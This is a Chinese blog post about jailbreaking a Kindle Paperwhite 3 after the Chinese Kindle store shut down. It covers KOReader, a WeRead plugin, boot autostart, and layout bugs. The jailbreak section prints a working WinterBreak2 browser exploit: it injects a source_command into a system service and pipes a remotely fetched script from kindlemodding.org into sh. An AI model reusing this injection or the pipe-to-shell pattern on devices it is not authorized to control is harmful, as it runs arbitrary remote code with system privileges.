Kindle PW3 越狱实录:国区商店停服之后,把它改成一台微信读书专用机

外设 · 17 分钟阅读· 90 次阅读

手上一台 Kindle Paperwhite 3(第七代),用了好几年。今年国区 Kindle 商店正式停服,书城打不开、推送也发不了,一台好好的墨水屏设备瞬间退化成只能看本地文件的高级记事本。

扔掉可惜,卖了不值钱。于是花了半天把它越狱,换成 KOReader + 微信读书插件——现在开机就直接是微信读书书架,能看的书比原来多得多。

整个过程踩的坑不少,记下来。

先说结论

  • 机器:Kindle PW3(第七代),固件 5.16.2.1.1,屏幕 1072×1448,Linux 内核 + 亚马逊自己的 Java 界面层
  • 越狱用 WinterBreak2:走内置浏览器的一个文件注入漏洞,不需要注册账号、不需要 MRPI、不需要商店在线
  • 阅读器用 KOReader,注意要下 kindlepw2 架构的包,不是 kindle
  • 微信读书用 weread.koplugin v1.6.0,插件作者明确留了给第三方启动器用的入口
  • 最终形态:开机约 45 秒直接进微信读书书架,中间没有任何多余界面
  • 全程没刷固件、没改系统分区里的程序,随时可以一键退回原生界面

webwxgetmsgimg.jpeg

先搞清楚 Kindle 到底是个什么系统

动手之前值得花两分钟理解它的结构,后面所有坑都跟这个有关:

  • 底层是 Linux(PW3 是 3.x 内核,Freescale i.MX6 芯片,ARM 架构),跑 X11
  • 界面层是亚马逊自己写的 Java 程序,进程名 cvm
  • 开机管理用的是 upstart,不是现在 Linux 上常见的 systemd——所以要塞开机自启,得往 /etc/upstart/ 写 job 文件
  • 系统分区默认 只读挂载(squashfs),改任何系统文件前必须先 mntroot rw 才能写,改完 mntroot ro 收回去

换句话说,越狱的本质是「拿到 root + 解锁只读分区」,然后就能往里面塞自己的程序。KOReader 就是一个跑在这套 Linux 上的第三方阅读器,不是新系统。

第一步:确认越狱窗口

越狱能不能做,全看固件版本。老版本直接有现成的一键包,新版本要么没有,要么得上硬件手段。

PW3 在 5.16.2.1.1 这个版本上,WinterBreak2 是可用的。建议在动手前把 Wi-Fi 关掉、开飞行模式,避免半夜被推一个固件更新把窗口关死。

项目 值
型号 Kindle Paperwhite 3(第七代)
固件 5.16.2.1.1
分辨率 1072 × 1448
越狱方式 WinterBreak2(浏览器注入)
是否影响商店/账号 否

第二步:越狱(WinterBreak2)

这个越狱方案聪明得很——它根本不需要你装任何东西,只用一个 HTML 文件。

把 dialoger.html 拷到设备的 documents/ 目录,用 Kindle 自带的浏览器打开它,页面里就这几行:

<script>
    nativeBridge.accessHasharrayProperty("com.lab126.transfer", "request_upload", {
        url: "http://127.0.0.1",
        source_command: "sh -c 'curl -L https://kindlemodding.org/jb.sh | JB_HEADER=\"Winterbreak2 Jailbreak\" sh'",
        unique_id: "winterbreak2",
        netid: 1,
        priority: 50,
        notify_progress_interval: 20,
        notify_pub: "com.lab126.archive",
        notify_prop: "transferProgressNotification",
    });
</script>

原理是:Kindle 的 com.lab126.transfer 服务在「上传文件」时会执行传入的 source_command,而浏览器能通过 nativeBridge 直接调这个服务。于是页面一打开,设备就以自己的权限跑起了 curl jb.sh | sh。

也就是说,整个越狱就是「让 Kindle 自己去下载并执行一段脚本」。脚本会装好越狱环境、写入 hotfix,防止系统更新把越狱覆盖掉。

跑完之后设备会重启。重启后进 KUAL 能看到菜单,就是成功了。

提醒一句:这一步要求设备能联网。国内直连 kindlemodding.org 有时会卡,卡住就多试几次,或者挂个代理。

第三步:装 KOReader

KOReader 是这一整套的核心——一个开源阅读器,支持 PDF / EPUB / MOBI / CBZ,翻页速度比原生阅读器还快。

去 GitHub Releases 下 Kindle 包的时候这里有个必踩的坑:

包名 结果
koreader-kindle-*.zip 装上去启动不了,架构不对
koreader-kindlepw2-*.zip 正常

kindlepw2 是给 PW2/PW3 这一代 ARMv7 设备的构建,kindle 那个是给更早的 ARMv6 机型的。下错了不会报错,就是启动黑屏然后退出。

解压到 /mnt/us/koreader/,让它保持这个结构:

/mnt/us/koreader/koreader.sh   # 启动脚本
/mnt/us/koreader/frontend/     # Lua 前端
/mnt/us/koreader/plugins/      # 第三方插件放这里
/mnt/us/koreader/settings/     # 配置

启动方式有两种:KUAL 菜单里点 KOReader,或者在 documents/ 放一个 scriptlet(PEKI 支持),点开直接起。

第四步:装微信读书插件

weread.koplugin 解压到 /mnt/us/koreader/plugins/ 就完事,不需要编译。

装好后菜单里会多出微信读书入口,扫码登录,书架和进度都跟手机端同步。这一点比原生 Kindle 强太多——原生根本不支持微信读书。

插件本身还有个细节值得记一下:它在 main.lua 顶部留了两个方法

-- Stable entry point used by third-party launchers such as SimpleUI and ZenUI.
function WeReadPlugin:openBookshelf()
    return self:showBookshelf()
end

function WeReadPlugin:launch()
    return self:openBookshelf()
end

意思是第三方启动器可以名正言顺地直接调 openBookshelf(),不用去猜内部实现。这对我后面做「开机直达书架」很关键。

第五步:让它开机就进微信读书

原生 Kindle 首页在国区停服之后基本是个废页面。既然这台机器只用来读微信读书,不如开机别废话,直接进书架。

分两件事做:

1. 用 upstart 接管开机

写一个 /etc/upstart/kor.conf,等亚马逊的 lab126_gui 起来之后,把它的界面关掉,换成 KOReader:

start on started lab126_gui

pre-start script
    if [ ! -x /mnt/us/koreader/koreader.sh ]; then stop; exit 0; fi
    if [ -f /mnt/us/koreader/NO_AUTOSTART ]; then stop; exit 0; fi
    if [ -f /var/tmp/kor-autostart-done ]; then stop; exit 0; fi
    /bin/sleep 45
    touch /var/tmp/kor-autostart-done
end script

script
    stop lab126_gui 2>/dev/null || true
    /mnt/us/koreader/koreader.sh --kual --framework_stop || true
    /bin/sleep 1
    start lab126_gui || true
end script

那段 sleep 45 是故意的——开机时亚马逊自己的框架还没起稳,抢跑会白屏。

2. 用 userpatch 自动打开书架

KOReader 支持 koreader/patches/ 目录,文件名前缀是执行时机。写一个 2-open-weread.lua:

local UIManager = require("ui/uimanager")

local function tryOpen(tries)
    local ok, FM = pcall(require, "apps/filemanager/filemanager")
    if ok and FM then
        local fm = FM.instance
        if fm and fm.weread and type(fm.weread.openBookshelf) == "function" then
            local opened = pcall(function() fm.weread:openBookshelf() end)
            if opened then return end
        end
    end
    if tries > 0 then
        UIManager:scheduleIn(2, function() tryOpen(tries - 1) end)
    end
end

UIManager:scheduleIn(6, function() tryOpen(4) end)

启动后等 6 秒(等 FileManager 建好),调插件的 openBookshelf(),失败就每 2 秒重试,最多 4 次。从头到尾不注册任何界面——它只是替用户点了那一下。

踩坑记录

这一节是这篇文章真正值钱的部分。

坑一:开机白屏,什么都没了

第一版 kor.conf 里我写了 stop on stopping lab126_gui,本意是「框架关了我这个 job 也停」。

结果:koreader.sh 自己会去 stop lab126_gui,这一 stop 直接把自己的 upstart job 也终止了,KOReader 还没启动就被杀,屏幕停在白屏。

教训:不要用 stop on stopping 去挂一个「自己会关掉被依赖对象」的 job。 删掉那一行、加个 start lab126_gui 兜底,白屏就没了。

坑二:界面每 10 秒崩一次

自己写了个手机风格的桌面:顶部状态栏、日期、大时钟、下面图标网格。装上去之后开机能看到界面,但每隔十秒整个 KOReader 就闪一下重启。

crash.log 里是这么一行:

frontend/ui/widget/verticalgroup.lua:51: attempt to index a nil value

原因是 KOReader 的布局容器有个隐藏约定:

VerticalGroup / HorizontalGroup 的偏移表(_offsets)是在 getSize() 那一刻算好并冻结的。之后你再往里 table.insert 一个子元素,paintTo() 遍历子元素时 _offsets[i] 就是 nil,整帧渲染崩溃。

我恰好干了这件事——算完总高度发现还差几个像素没填满,顺手追加了个占位元素。

-- 错的做法:getSize() 之后再 append
local vg = VerticalGroup:new{ align = "left" }
table.insert(vg, status)
table.insert(vg, clock)
local total = vg:getSize().h        -- 偏移表在这里冻结
table.insert(vg, VerticalSpan:new{ width = self.height - total })  -- 越界了

改成一次性把子元素排好再构造,问题消失:

local kids = { align = "left" }
kids[#kids + 1] = VerticalSpan:new{ width = top_pad }
kids[#kids + 1] = status
kids[#kids + 1] = clock
local vg = VerticalGroup:new(kids)  -- 之后再不改动结构

坑三:图标整排消失,还不报错

崩溃修好之后,状态栏、日期、大时钟都正常,但下面那一整块图标网格什么都没画,点击也毫无反应。

日志里翻出来一句:

[!] invalid alignment for HorizontalGroup: left

HorizontalGroup 的 align 只接受三个值:center / top / bottom。我写了 left——它不报错、不崩溃,只是往 stderr 打一行提示,然后把这一整行子元素全部跳过。

更阴的是连锁反应:图标没被画出来,它们的 dimen(位置尺寸)就停在初始值 (0,0),触摸事件的命中区域全错,所以整屏点什么都没反应。

排查渲染空白时,先检查枚举值拼写,这类静默失败比崩溃难查十倍。

坑四:一退出就被拽回来

kor.conf 里有个重启循环——KOReader 退出了就立刻再拉起来,防止误触退出掉回原生界面。

但在需要退出的时候,这个循环就变成了「退不出去」:点退出,界面闪一下又回来了。

解法是在退出动作真正发生前留一个标记文件:

-- koreader/patches/8-exit-once.lua
local f = io.open("/tmp/kor-exit-once", "w")
if f then
    f:write("exit from ui\n")
    f:close()
end

8- 前缀对应 KOReader userpatch 的 before_exit 阶段。重启循环看到 /tmp/kor-exit-once 就放手,/tmp 是内存盘、重启自动清空,所以下次开机照样进书架。

怎么退回去

折腾系统一定要留后门。这套方案留了三个:

方式 效果
触碰 /mnt/us/koreader/NO_AUTOSTART 下次开机回原生界面,KOReader 还在
删掉 /etc/upstart/kor.conf 彻底取消开机接管
直接删 /mnt/us/koreader/ 整个目录 恢复到只有越狱的状态

最省心的是第一个——建个空文件即可,kor.conf 里的 pre-start 守卫会主动放弃接管,退回亚马逊原生首页,不会白屏。

最后

现在这台 PW3 的用法变简单了:开机、等一分钟、书架自己出来、点书就看。微信读书的进度和手机同步,比原生 Kindle 的推送还顺。

代价是折腾了大半天,多数时间不是花在越狱上,而是花在「让界面按我想的样子显示」上。Kindle 这套界面框架对第三方程序并不友好,布局、事件、生命周期都有隐含约定,踩一次记一次。

但值得。国区商店关了,书还得看。

相关阅读

评论 (0)

还没有评论,来说两句吧~

发表评论

验证码

提交后需站长审核,通过后才会显示。